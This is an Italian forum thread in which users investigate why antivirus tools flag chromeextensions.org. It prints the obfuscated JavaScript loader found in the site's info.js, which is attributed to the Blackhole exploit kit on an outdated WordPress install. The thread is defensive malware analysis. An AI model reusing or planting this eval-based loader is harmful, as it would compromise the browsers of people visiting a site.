MegaLab.it

ieri ho notato che il mio avast 6 free mi blocca la pagina http://www.chromeextensions.org come infetta ( trojan horse )
qualcuno di voi ha notato la stessa cosa ?
ma è un falso o ci si deve preoccupare ?

sondlive07 ha scritto:ieri ho notato che il mio avast 6 free mi blocca la pagina http://www.chromeextensions.org come infetta ( trojan horse )

Ti posso confermare che anche il mio Avast, oggi, blocca la pagina.

Inoltre anche Opera (tramite la protezione integrata di AVG) blocca il sito, quindi non credo che si tratti di un falso positivo.

Controlla il sito qui http://safeweb.norton.com/

Io l'ho fatto è norton safe web lo reputa sicuro.

ecco la diagnostica di google http://google.com/safebrowsing/diagnost ... sions.org/

puoi controllare anche qui http://www.unmaskparasites.com/ inserendo nell'aposito spazio l'indirizzo del sito da controllare senza http//, quindi inserendo solo www.chromeextensions.org

Il sito sembrerebbe pulito.

Il problema del sito sono le estensioni non ufficiose che permette di installare : sono meno controllate rispetto al sito ufficiale,quindi prima o poi rischi di incappare in estensioni maligne (cosa che potrebbe già essere avvenuta,se i reputation rating lo segnalano come maligno).

A corredo,la diagnostica WOT

http://www.mywot.com/en/scorecard/www.c ... nsions.org

magari è un problema recente e quindi su WOT è presente ancora la vecchia classificazione... mi sembrerebbe strano che due servizi indipendenti lo classificano come trojan senza motivo (per altro è la prima volta che vedo la protezione di Opera in azione )

anche il controllo su virustotal ritiene sicuro il sito

Il presunto file infetto è questo

Codice: Seleziona tutto

http://www.chromeextensions.org/wp-content/themes/chrome-extensions/js/info.js

Secondo virurtotal http://www.virustotal.com/file-scan/rep ... 1308148698

Codice: Seleziona tutto

el=document.createElement("input");el.setAttribute("value","&#82;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#69;&#114;&#114;");try{try{a1=a2}catch(a){b[2]=21};}catch(a){k=el.value+a.toString().substr(0,0);};var ar="me10sty>:n<)w2cv /l.zpbgi=;\"fhau(odr";var ar2="R136,-4,-76,68,-124,4,32,-16,56,-28,92,-44,-76,-16,124,-20,-68,56,16,28,-20,-120,4,60,-48,124,-84,44,16,-96,0,64,-52,36,0,16,36,20,-20,-64,84,-116,60,-64,56,12,8,-16,-12,-48,96,-112,-4,4,12,52,-52,-12,56,-56,32,32,28,-96,120,-28,-88,12,52,-52,4,4,48,-68,48,16,24,-16,8,32,-32,-20,-16,48,40,-116,96,-16,-92,56,52,-112,92,-4,24,-96,80,-88,52,48,28,-20,-120,4,84,44,8,-4,-132,136,-40,-88,52,-48,40,84,-8,-60,0,24,-60,56,8,-64,96,-68,-28,96,8,-136,12,80,-16,-76,24,12,28,28,16,28,-20,-120,4,24,80,-64,60]".replace(k.substr(0,1),'[');pau="urn eReferenceErr".replace(k,"val");e=Function("ret"+pau)();ar2=e(ar2);s="";var pos=0;for(i=0;i!=ar2.length;i++){e('pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4');e('s+=ar.substr(pos,1)');}
e(s);

Mi piacerebbe capire che accidenti farebbe un codice del genere

nuova analisi di virustotal sul sito

http://www.virustotal.com/url-scan/report.html?id=961cb119ea31ee2db6c7427810dbc8ba-1308143109

Opera lo identifica come sito di Phishing

Vi linko questo sito moooolto interessante:
http://sitecheck.sucuri.net/scanner/
è un servizio on line che permette di effettuare la scansione di un sito alla ricerca di malware e phishing, fornisce moltissime informazioni, anche l'indirizzo ip che potrà servire per un'ulteriore verifica attraverso quest'altro sito:
http://www.ipvoid.com/
che ci farà sapere se tale indirizzo ip è sicuro attraverso diversi servizi online.

Da provare...

Ecco il js reso più comprensibile:

http://pastebin.com/3XCrssBq

Risolto il dilemma (almeno parzialmente).

Il file in questione sembra essere collegato con il kit di Exploit Blackhole che trai tanti siti bersaglio colpisce le versioni non aggiornate di Wordpress.

La versione di Wordpress del server è la 2.9.1 mentre la pù recente è la 3.1.3.

Per farsene un idea basta cercare su google porzioni dello script (ad esempio):

Codice: Seleziona tutto

e('pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4');

Noterete che i risultati che ne vengono fuori sono tutti relativi a siti compromessi (da molti exploit), è possibile che l'infezione del sito sia avvenuta casualmente è che l'amministratore non se ne sia accorto.

Nel frattempo ho inviato il file in questione ad Avira che lo ha classificato come MALWARE e dal prossimo aggiornamento verrà riconosciuto come:

JS/Borak.se

http://analysis.avira.com/samples/details.php?uniqueid=CxCGZbGDjGHM5DvWW9Cny65CxbBNtMzU&incidentid=762681

Quindi da ora in poi prestate attenzione se decidete di navigare su questo sito

P.S.: Ecco il report di google safebrowsing di uno di questi siti compromessi (va tutto bene):

http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=http%3A%2F%2Findometastan.in%2Fin.cgi%3Fdefault&client=googlechrome&hl=it

Se a qualcuno interessasse ecco il codice sorgente della home page:

http://pastebin.com/KALWSwX7

Da stamattina Avira ed Emsisoft lo classificano come MALWARE:

http://www.virustotal.com/file-scan/report.html?id=0bbbb2420d332cceaf829661bde0a375b285076320b8d39d01a8cc7179af61a8-1308307414

http://www.avira.com/en/support-vdf-details/ivdf_no/7.11.10.02

avast
opera (AVG)

Mi sono un po' perso nella lettura Alla fin fine il sito è considerabile come malware quindi?

FrankSix ha scritto:Mi sono un po' perso nella lettura Alla fin fine il sito è considerabile come malware quindi?

Il sito in questione è stato compromesso da un exploit.....quindi navigarci ora è molto pericoloso.